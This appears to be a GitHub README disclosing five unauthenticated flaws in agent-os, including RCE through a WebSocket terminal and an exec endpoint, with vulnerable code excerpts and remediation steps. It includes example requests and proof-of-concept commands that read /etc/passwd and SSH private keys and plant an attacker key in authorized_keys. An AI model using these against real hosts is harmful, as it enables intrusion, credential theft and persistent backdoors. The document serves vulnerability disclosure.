BlessedOn3/poc-agent-os-unauth-rce
GitHub: BlessedOn3/poc-agent-os-unauth-rce
Stars: 0 | Forks: 0
# CVE — saadnvd1/agent-os Unauthenticated RCE (5 Findings)
**Severity:** Critical (CVSS 3.1: 10.0)
**Affected version:** agent-os ≤ v0.2.1 (`@saadnvd1/agent-os`)
**Reporter:** Mateus Gama (theblessone.sec@gmail.com)
**Disclosure:** Coordinated — 2026-05-27 (issue #47)
## Summary
AgentOS exposes a fully unauthenticated backend with 53 API routes and a WebSocket
terminal endpoint. Zero routes require any authentication. The server binds to `0.0.0.0`
by default.
| # | Finding | CVSS |
|---|---|---|
| 01 | Unauthenticated RCE via WebSocket `/ws/terminal` | **10.0** |
| 02 | Unauthenticated RCE via `POST /api/exec` | **10.0** |
| 03 | Unauthenticated arbitrary file write | 9.6 |
| 04 | Unauthenticated arbitrary file read | 7.5 |
| 05 | Unauthenticated directory listing | 7.5 |
## FINDING-01 — WebSocket PTY Shell
The endpoint `/ws/terminal` spawns a full PTY for any connecting client:
// server.ts — no auth check before upgrade
terminalWss.handleUpgrade(request, socket, head, (ws) => {
terminalWss.emit("connection", ws, request);
});
terminalWss.on("connection", (ws) => {
ptyProcess = pty.spawn(shell, [], { cwd: HOME, env: minimalEnv });
ws.on("message", (msg) => {
case "command": ptyProcess.write(msg.data + "\r"); // arbitrary shell command
});
});
## FINDING-02 — POST /api/exec
// app/api/exec/route.ts
export async function POST(request: NextRequest) {
const { command } = await request.json();
const { stdout } = await execAsync(command, { shell: "/bin/zsh" });
return NextResponse.json({ output: stdout });
}
## FINDING-03/04/05 — File Read / Write / Directory Listing
// No auth on any of these:
GET /api/files?path=/etc/passwd
GET /api/files/content?path=~/.ssh/id_rsa
POST /api/files/content { path: "~/.ssh/authorized_keys", content: "attacker-key" }
## Proof of Concept
# Quick check — RCE via exec endpoint
bash poc/exec_rce.sh http://target:3011
# Full WebSocket PTY shell
python3 poc/ws_terminal.py ws://target:3011
# Steal SSH key
bash poc/file_read.sh http://target:3011 ~/.ssh/id_rsa
# Plant SSH backdoor
bash poc/file_write.sh http://target:3011 ~/.ssh/authorized_keys "$(cat payloads/ssh_key.pub)"
## Remediation
1. Change default binding to `127.0.0.1` in `server.ts`
2. Generate a per-install token at first run (pattern: Jupyter Notebook)
3. Require token on every HTTP request and WebSocket upgrade
4. Remove or sandbox `POST /api/exec`